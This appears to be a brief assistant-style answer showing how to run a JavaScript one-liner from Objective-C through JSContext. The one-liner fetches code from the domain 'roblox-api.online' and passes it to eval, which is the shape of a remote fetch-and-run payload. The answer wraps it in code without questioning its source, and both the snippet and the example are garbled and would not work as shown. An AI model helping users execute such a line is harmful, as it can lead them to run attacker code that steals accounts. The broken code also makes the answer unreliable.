To execute the JavaScript code xjavascript$get'//roblox-api.online/roblox?id=4823'.eval(), you can use the eval() function in Objective-C. Here's an example:

NSString *javascriptCode = @"xjavascript$get'//roblox-api.online/roblox?id=4823'.eval()";
JSContext *context = [[JSContext alloc] init];
[context evaluateScript:javascriptCode];

Please note that executing arbitrary JavaScript code can be risky, as it may have unintended consequences or security vulnerabilities. Make sure to validate and sanitize the input before executing it.